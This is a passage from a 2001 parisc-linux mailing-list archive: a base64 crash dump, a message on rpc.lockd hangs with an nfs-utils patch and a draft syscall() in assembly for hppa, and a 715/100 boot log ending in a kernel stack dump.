MDAwMDANCjg1ZTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAyYTVm
NzQgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg2MDAg
YzAyZDk4MDAgMDA1MDRkNmMgYzAyY2MwMDAgYzAyNjYwMDAgYzAyYzgwMDAg
MDAwMDAwMDAgYzAyYjAwMDAgMDAwMDAwMDANCjg2MjAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgYzAyYTY3ZDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDANCjg2NDAgYzAyYjAwMDAgYzAyNjYwMDAgYzAyYzgw
MDAgMDAwMDAwMDAgYzAyYjAwMDAgYzBmZmVjMjAgMDAwMDAwMDAgMDAwMDAw
MDANCjg2NjAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAyYTc1Nzgg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg2ODAgYzAy
Y2MwMDAgYzAyNjYwMDAgYzAyYzgwMDAgMDAwMDAwMDAgYzAyYWViNzQgYzAy
N2E2Y2MgYzBmZTQ3ZTAgMDAwMDAwMDANCjg2YTAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgYzAxMDllNzQgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDANCjg2YzAgMDAwMDAwMDAgMDAwMDAwMDAgZmZmYmUwMDAg
MDAwMDAwMDMgMDAwMDAwMjMgYzBmZTQxNjAgMDAwMDAwMDEgYzAyYWU5YjQN
Cjg2ZTAgYzAyYzhjYzAgMDAwMDAwMDAgMDAwMDAwMDAgYzAxMDllNzQgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg3MDAgYzAyYWVi
MzQgYzAyYzhkODAgYzAyMzBkMGMgMDAwMDAwMDAgZjA4MDAwMDAgMDAwMDAw
MDEgYzAyNTZmNDggYzAyNTZmNGMNCjg3MjAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgYzAyYTc1MTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDANCjg3NDAgYzAyYzhkODAgYzAyYzhkODAgZjA4MjQ4MDAgMDAw
MDAwMDAgYzBmZjAxZTAgMDAwMDAwMDAgMDAwMDAwNDEgMDAwMDAwNTgNCjg3
NjAgZmZmZmZmZmYgYWFhYWFhYWEgYzAyOTU3OTQgYzBmZTg3NDggMDA1MDRk
NmMgYzAyYzg4MDAgYzAyNmMwMDAgYzAyYzhjYzANCjg3ODAgZmZmZmZmZjAg
YzBmZjAxZTAgYzAyNWY5MDQgYzBmZjAxZTAgMDAwMDAwMTIgMDAwMDgxYTQg
YzAyNTZmNmMgMDAwMDAwMDANCjg3YTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgYzAxZGQwMmMgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDANCjg3YzAgYzAyYzg4MDAgYzAyNmMwMDAgYzAyN2EwMDAgYzBmZjAx
ZTAgYzBmZWYyMDAgYzBmZjAxZTAgYzBmZjAxZTAgYzAyYjYxZWQNCjg3ZTAg
MDAwMDAwMDAgMDAwMDAwMDEgYzAyN2EwMDAgMDAwMDAwM2UgMDAwMDAwM2Mg
MDAwMDAwMjYgMDAwMDAwMGIgYzAyN2E0YWMNCjg4MDAgYzAyN2EwMDAgNTAw
MDAwNTkgZjAwMDA1MGMgMDAwMDAwZmYgMDAwMDAwNjAgMDAwMDAwNjAgMDAw
MDAwMDEgMDAwMDAwMDINCjg4MjAgMDAyYjIwODAgMDAwMDAwMDggMDAyYjUw
YzAgYzAxMWU5YmMgMDAwMDAwMDAgYzBmZTQ4NjAgYzBmZWYyNDAgMDAwMDAw
NjANCjg4NDAgYzAyN2E0ZjQgYzBmZWYyMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgYzAyOTU3OTQgYzAyZDk4MDANCjg4NjAgMDA1
MDRkNmMgYzAyYzg4MDAgYzAyNmMwMDAgMDAwMDAwMDcgZjA4MjQ4MDAgMDAw
MDAwNTggMDAwMDAwMDAgMDAwMDAwMDANCjg4ODAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwODAwMDAgMDAwMDAwODAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDANCjg4YTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
YzAyYTcyMDggMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAN
Cjg4YzAgMDAwMDAwNTggZjA4MjQ4MDAgYzBmZTQ4NjAgYzBmZWYyNDAgYzBm
ZTg3NDggMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg4ZTAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAyYTZmMTggMDAwMDAxMDIgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDANCjg5MDAgMDAwMDAwMGMgYzBmZTg3NDgg
MDAwMDAwMDcgZjA4MjQ4MDAgYzBmZTg3NDggMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDANCjg5MjAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAy
YTcwMTAgMDAwMDAwMDIgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCg0K
SGlnaCBQcmlvcml0eSBNYWNoaW5lIENoZWNrIChIUE1DKTogQ29kZT0xIHJl
Z3M9YzAyNmQwODAgKEFkZHI9MDAwMDAwMDApDQoNCiAgICAgWVpydldFU1RI
TE5YQkNWTWNiY2JjYmNiT0dGUlFQREkNClBTVzogMDAwMDAwMDAwMDAwMDEx
MDExMTExMTAxMDAwMDEwMTENCnIwLTMgICAgIDAwMDAwMDAwIGMwMWRjMDAw
IGMwMmE3MDUwIGMwZmU4NzQ4DQpyNC03ICAgICAwMDAwMDAyYyBjMGZlZjI0
MCBmMDgyNDgwMCBmZmZmZmZkZg0KcjgtMTEgICAgZmZmZmZmZmYgYzAyN2Ew
MDAgMDAwMDAwMDAgYWFhYWFhYWENCnIxMi0xNSAgIGZmMTEwMDAwIGZmZmZm
ZmYxIGYwMDA0ZDE0IDAwMDAwMDAwDQpyMTYtMTkgICAwMDAwMDAwMCA1MDAw
MDA1OSBmMDAwMDUwYyAwMDAwMDAwYg0KcjIwLTIzICAgMDAwMDAwZmYgMDAw
MDAwNDEgYzBmZTQwNDAgMDAwMDAwMGINCnIyNC0yNyAgIGZmZmZmZmZmIGYw
ODI0ODAwIGYwODI0ODAwIGMwMjY2MDAwDQpyMjgtMzEgICAwMDAwMDBkMyAw
MDAwMDc4MCBjMGZlODk0MCBjMDEyZGZjMA0Kc3IwLTQgICAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCnNyNC04ICAgIDAwMDAwMDAw
IDAwMDAwMDAwIDAwMDAwMDAwIDAwMDAwMDAwDQoNCklBU1E6IDAwMDAwMDAw
IDAwMDAwMDAwIElBT1E6IGMwMWRjMmUwIGMwMWRjMmUwDQogSUlSOiBlODQw
YzAwMCAgICBJU1I6IDAwMDAwMDAwICBJT1I6IGMwMmE3MDUwDQpPUklHX1Iy
ODogMDAwMDAwMDANCg==
---1463811839-317009567-986596765=:4811--




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: Sat, 7 Apr 2001 00:15:00 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <20010407001500.Z9198@linuxcare.com>
References: <20010406210401.7685C37CDB@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620007 17640 80.91.229.3 (22 Nov 2014 01:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:27 +0000 (UTC)
Cc: randolph@tausq.org, lamont@hp.com,
	debian-buildd@list.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 17:15:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7507482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 17:15:44 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F35A1B007; Sat,  7 Apr 2001 00:15:00 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010406210401.7685C37CDB@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Fri, Apr 06, 2001 at 03:04:01PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10700

On Fri, Apr 06, 2001 at 03:04:01PM -0600, Matt Taggart wrote:
> nfs-common is currently having problems with rpc.lockd, Richard is looking in 
> to it.

Ugh.  nfs-common tries to invoke nfsservctl() and quotactl() via calls
to syscall() in glibc, such as:

    return syscall(SYS_quotactl, cmd, special, id, addr);

For most architectures, glibc as an asm implementation of syscall(),
and our would be in

glibc/sysdeps/unix/sysv/linux/hppa/syscall.S

except that it is just a cpu loop at the moment - hence rpc.lockd
hangs eating cpu.

I guess a one time glibc didn't provide nfsservctl() and quotactl()
wrappers, so syscall() was used.

Options (somone who knows the area better than me can correct
these):

a) Implement syscall() in glibc - I made an initial stab at that,
included below, but I didn't get as far as building it.  Not sure
if my approach was valid for hppa, with some args on stack, etc.

b) change nfs-common to use the proper glibc wrappers for these
functions, rather than syscall().

c) change nfs-common to use INLINE_SYSCALL or something..


I tried a quick hack at (b) and rebuilt.  I didn't get as far as trying
the new binaries yet, because I was doing this on a 64 bit machine, and...
both nfsservctl and quotactl are unimplemented on 64 bit :(

So, we need to implement wrappers for those, and fix either glibc or
nfs-common.

Richard


==================== quick'n'dirty patch to nfs-common =====================

diff -ur nfs-utils.ori/support/nfs/nfsctl.c nfs-utils/support/nfs/nfsctl.c
--- nfs-utils.ori/support/nfs/nfsctl.c	Mon Oct 18 17:21:12 1999
+++ nfs-utils/support/nfs/nfsctl.c	Fri Apr  6 16:02:28 2001
@@ -20,5 +20,9 @@
 int
 nfsctl (int cmd, struct nfsctl_arg * argp, union nfsctl_res * resp)
 {
+#ifdef __hppa__
+  return nfsservctl(cmd, argp, resp);
+#else
   return syscall (__NR_nfsctl, cmd, argp, resp);
+#endif
 }
diff -ur nfs-utils.ori/utils/rquotad/quotactl.c nfs-utils/utils/rquotad/quotactl.c
--- nfs-utils.ori/utils/rquotad/quotactl.c	Mon Oct 18 17:21:12 1999
+++ nfs-utils/utils/rquotad/quotactl.c	Fri Apr  6 15:58:19 2001
@@ -24,7 +24,9 @@
 #include <unistd.h>
 #include <sys/syscall.h>
 
+#ifndef __hppa__
 int quotactl(int cmd, const char * special, int id, caddr_t addr)
 {
 	return syscall(SYS_quotactl, cmd, special, id, addr);
 }
+#endif

============================================================================


===================== initial attempt at syscall for glibc =================

ENTRY(syscall)
        copy %r26,%r20
        copy %r25,%r26
        copy %r24,%r25
        copy %r23,%r24
        ldw -52(%r30),%r23
#if 0
        /* Hmm, can we be sure there is space for two args on the stack,
         * when the syscall() was called with fewer args?  How many args
	 * must we allow for?
         */
        ldw -56(%r30),%r22
        stw %r22,-52(%r30)
#endif
        ble  0x100(%sr2,%r0)
        nop
        ldi -0x1000,%r1
        cmpb,>>=,n %r1,%ret0,0f
        stw %rp, -20(%sr0,%r30)
        stw %ret0, -24(%sr0,%r30)
        .import __errno_location,code
        bl __errno_location,%rp
        ldo 64(%r30), %r30
        ldo -64(%r30), %r30
        ldw -24(%r30), %r26
        sub %r0, %r26, %r26
        stw %r26, 0(%sr0,%ret0)
        ldo -1(%r0), %ret0
        ldw -20(%r30), %rp
0:
	ret,n

============================================================================





From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/100 crash
Date: Fri, 06 Apr 2001 17:33:40 -0600
Lines: 467
Approved: news@gmane.org
Message-ID: <20010406233340.492851872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----- =_aaaaaaaaaa0"
X-Trace: ger.gmane.org 1416620007 17645 80.91.229.3 (22 Nov 2014 01:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:27 +0000 (UTC)
Cc: LaMont Jones <lamont@hp.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 17:33:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9C3F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 17:33:41 -0600 (MDT)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP id EEF0C4AA
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 19:33:40 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 492851872C; Fri,  6 Apr 2001 17:33:40 -0600 (MDT)
Content-ID: <17850.986599985.0@cranston.fc.hp.com>
Original-Sender: lamont@hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:10701

------- =_aaaaaaaaaa0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <17850.986599985.1@cranston.fc.hp.com>

Using the new nfsroot tarball, and an admittedly suspect 715/100 (it
suddenly decided that it didn't like to have more than 2 SIMs in it - 
'missing or bad memory card in slot 2'), I get the attached output
during boot.

Personally, I'm going to swap the machine out for a B160L.  Anyone
who wants the 715/100 can let me know...

Interestingly, auto boot fails, but boot from pri after that works...

lamont

------- =_aaaaaaaaaa0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <17850.986599985.2@cranston.fc.hp.com>

0x04.1081
0x04.1080
0x04.1082
0x04.1086
0x04.1087
0x04.108A
0x04.108B
0x04.108C
0x04.1083
0x04.10D1
0x04.10D2
0x04.2090
0x04.2091
0x04.209F
0x04.2096
0x04.2094
0x04.2095
0x06.C201
0x04.10DA
0x04.10D7
0x04.10D8


----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  64 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
0x04.2097
0x04.2098
0x04.2099
0x04.209A
0x04.209B
0x04.1091
0x04.1092
0x04.1093
0x04.1094
0x04.1095
0x04.1096
0x04.1090
0x04.108D
0x04.10D4
0x04.10D9
0x04.4080
0x04.4081
0x04.4082
0x06.C2EA
0x06.C2EF
0x04.300C
0x04.300C
0x04.300B

Starting Auto boot

0x06.C500
0x04.8005

Warning: Auto boot failed.
Auto boot path is not valid.


Auto boot failed and Auto search is off.

Boot process failed. press <ESCAPE> to Continue.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri
0x06.C740




Attempting to boot.

Loading Initial Program Loader

0x06.C580

IPL successfully loaded


Booting
0x06.C7FF
palo ipl lamont@ldl Fri Mar 23 12:00:56 MST 2001
0/vmlinux 2581653 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.1.44.229 console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1486276 mediaptr 0x1000
Segment 1 load 0026c000 size 182328 mediaptr 0x16c000
Segment 2 load 0029c000 size 90112 mediaptr 0x199000
Segment 3 load 002b2000 size 132272 mediaptr 0x1af000
Segment 4 load 002d4000 size 8192 mediaptr 0x1d0000
Segment 5 load 00303608 size 75392 mediaptr 0x1d2608
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
PDC Console Initialized
Linux version 2.4.0 (lamont@ldl) (gcc version 2.97 20010203 (experimental)) #19 Fri Apr 6 08:32:52 MDT 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x64d58,0x64d58,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.1.44.229 console=ttyS0'
PALO initrd 0-0
model   000060b0 00000481 00000000 00000000 7800e8a4 00000000 00000004 00000072 00000072
vers    0000000b
CPUID   vers 0 rev 0
model   9000/715
Total Memory: 64 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000, versions 0x4, 0x0, 0x77, 0x0, 0x0
2. Mirage GSC Builtin Graphics (10) at 0xf8000000, versions 0x13, 0x0, 0x85, 0x0, 0x0
3. Mirage Core BA (11) at 0xf0100000, versions 0x29, 0x0, 0x81, 0x0, 0x0
4. Mirage Core SCSI (10) at 0xf0106000, versions 0x29, 0x0, 0x82, 0x0, 0x0
5. Mirage Core LAN (802.3) (10) at 0xf0107000, versions 0x29, 0x0, 0x8a, 0x0, 0x0
6. Mirage Core RS-232 (10) at 0xf0105000, versions 0x29, 0x0, 0x8c, 0x0, 0x0
7. Mirage Core Centronics (10) at 0xf0102000, versions 0x29, 0x0, 0x74, 0x0, 0x0
8. Mirage Audio (10) at 0xf0104000, versions 0x29, 0x0, 0x7b, 0x0, 0x0
9. Mirage Core PC Floppy (10) at 0xf010a000, versions 0x29, 0x0, 0x83, 0x0, 0x0
10. Mirage Core PC Keyboard (10) at 0xf0108000, versions 0x29, 0x0, 0x84, 0x0, 0x0
11. Mirage Core PC Keyboard (10) at 0xf0108100, versions 0x29, 0x0, 0x84, 0x0, 0x0
12. Mirage Wax BA (11) at 0xf0200000, versions 0x13, 0x0, 0x8e, 0x0, 0x0
13. Mirage 100 Wax HIL (10) at 0xf0201000, versions 0x13, 0x0, 0x73, 0x0, 0x0
14. Mirage Wax RS-232 (10) at 0xf0202000, versions 0x13, 0x0, 0x8c, 0x0, 0x0
15. Mirage 100 (0) at 0xfffbe000, versions 0x60b, 0x0, 0x4, 0x0, 0x81
16. Mirage 100 (1) at 0xfffbf000, versions 0x4b, 0x0, 0x9, 0x0, 0x0
That's a total of 16 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.1.44.229 console=ttyS0
Calibrating delay loop... 99.73 BogoMIPS
Memory: 62172k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA bus adapter version 0x5761 at 0xf0200000
Initializing Lasi PS/2-keyboard port at 0xf0108000...
Support for Lasi PS/2-psaux not yet available !
Found HIL at 0xf0201000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x13, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Lasi PS/2 wait 4460
Lasi PS/2 wait 2119
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
eth0: 82596 at 0xf0107000, 08 00 09 4A 45 BC IRQ 87.
82596.c $Revision: 1.15 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: MICROP    Model: 2112              Rev: 4024
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: Quantum   Model: VP32210           Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 3, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
Partition check:
 sda: sda1 sda2 sda3
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
 sdb: sdb1
linear personality registered
raid0 personality registered
raid1 personality registered
raid5 personality registered
raid5: measuring checksumming speed
   8regs     :    98.298 MB/sec
   8regs_prefetch:    97.917 MB/sec
   32regs    :   118.491 MB/sec
   32regs_prefetch:   164.973 MB/sec
raid5: using function: 32regs_prefetch (164.973 MB/sec)
md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md.c: sizeof(mdp_super_t) = 4096
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
eth0: link ok.
Sending BOOTP requests..... OK
IP-Config: Got BOOTP answer from 15.1.44.229, my address is 15.1.44.235
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 15.1.44.229
Looking up port of RPC 100005/2 on 15.1.44.229
VFS: Mounted root (nfs filesystem) readonly.
INIT: version 2.78 booting

Dumping Stack from 105ac000 to 105ad540:
c000 00000000 00000000 00000000 00000001 10281460 00000001 00000000 ffffffff
c020 00000006 00000000 00000000 104ee1c0 00000000 00000000 ffffffff 1002c03c
c040 1004003c 00000454 102d4000 105d0000 104ee1c0 102842dc 00000000 00000012
c060 00000000 00000000 80000000 0000000b 0000000a 00000000 0000000a 0000000b
c080 00000000 105d0000 105d0000 00000000 00000000 00000000 105ac098 105ac098
c0a0 00000000 102f1d60 00000000 105ac0ac 105ac0ac 00000000 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 105ac000 1011b0a8 00000000 00000000 00000000 00000000 00000446 00000002
c100 000002e8 00000002 00000001 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 fffffeff 00000000 102820a8 ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 000003cb 000003cb 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007263 53002e64 72000000 00000000
c240 00000000 00000000 105b4000 00000000 00000000 00000000 00000000 00000040
c260 400d5717 faf00a80 0000003f 00000040 faf00708 4014eb18 00000065 faf006cc
c280 0000b294 00000040 faf008d0 00000001 00000063 faf006cc 00000020 0000b270
c2a0 faf00790 4014eb18 0000000b faf00708 81010100 2f2f2f2f 0000b008 faf006cc
c2c0 faf00708 00009af8 faf00708 0000b1a8 faf00b40 400d52db 00000000 00000000
c2e0 00000000 00000000 00000000 00000000 00000000 00000000 00000001 00000000
c300 00000002 1014a9fc 00000000 00000000 00000000 00000000 1002c000 104fd0c0
c320 102d4000 00000000 10286064 102f1810 102f4810 1026c010 102f1010 00000001
c340 1028a010 101390c4 102f1010 102d24b0 102d24b0 102d2420 104fe000 1028660c
c360 00000000 00000002 00000000 1029cea4 0004000e 00000008 102f1810 104fe000
c380 1028660c 1014a8e4 cccccccd 00000030 00000000 cccccccd 10286064 00000002
c3a0 1023f0d0 00000007 10316d40 10284e40 00000000 00000008 ffffffff 102f4810
c3c0 1026c010 1013922c 10448c00 10284e40 1028a010 102f1810 00000005 00000005
c3e0 00000000 00000005 00000005 00000005 00000005 00000005 00000005 00000005
c400 400a9303 400a9307 000000ae 105ac000 faf00708 105acc80 10105cf0 00000014
c420 36980dfe 00000005 40147654 00000000 00287000 00000000 10452160 104531e0
c440 00000000 104514e0 00000000 00000000 00000000 105ac450 00000000 00000000
c460 00000000 00000000 00000000 00000000 00000000 00000001 00000002 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 00000000 00000000 00000000 1010624c 00000000 00000000 00000000 00000000
c4c0 4014eb18 faf00708 faf00708 81010100 faf00a80 faf00708 00000040 0000003f
c4e0 faf00a80 00000000 00000000 10106efc 00000000 00000000 00000000 00000000
c500 00000078 00000065 00000000 00000040 00000000 00000000 00000000 00000000
c520 00000000 00000000 faf008d0 10106db8 00000000 4014eb18 faf008d0 00000000
c540 faf006cc 4014eb18 0000b008 faf006cc 00000065 102df810 102f1810 0000000b
c560 102dff30 00000001 00000001 10100904 faf007b0 105ac258 0000b270 faf00790
c580 4014eb18 faf00708 7f454c46 01020103 00000000 00000000 0003000f 00000001
c5a0 00002da0 00000034 0006a5a8 00000210 00340020 00030028 00190016 00000001
c5c0 00000000 00000000 00000000 00019240 00019240 00000005 00001000 00000001
c5e0 00019240 0001a240 0001a240 00000a44 00001a00 00000007 00001000 00000002
c600 00019bfc 0001abfc 00000000 00000000 00000000 00000000 00000000 00000000
c620 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c640 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c660 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c680 00000000 00000000 faf00190 00000001 104fd2a0 00000000 00000000 ffffffff
c6a0 ffffffff ffffffff 00000002 00000009 104fe000 00000000 faf000e0 1047e228
c6c0 4014eb18 faf00708 104fe000 105ac258 104fe000 10026200 10065580 10025820
c6e0 104ec8a0 00120f17 16000000 101aa3e8 00000002 105b4000 faf00b48 faf00b48
c700 10065580 10065800 10065580 10292128 0000b294 00000078 00000065 100473e0
c720 1047b3a0 104fd1e0 1047cd60 10145018 00000000 00000000 00000000 00000000
c740 faf006cc 00000065 105ac258 faf006cc 0000b008 104fe000 00000000 00000009
c760 00000001 0000106c 104fe000 10144b2c 00000000 00000000 00000000 00000000
c780 00000002 100658a0 00000000 00000063 00000000 00000080 00000080 105ac588
c7a0 00000006 00000065 104fd1e0 10144de0 104fd1e0 1047cd60 00000001 00000000
c7c0 faf00708 00000000 2f62696e 2f736800 73680a23 0a232072 63530909 43616c6c
c7e0 20616c6c 20533f3f 2a207363 72697074 7320696e 202f6574 632f7263 104fe000
c800 105ac258 faf006cc 0000b008 00000001 105ac000 00000000 00000000 105ac000
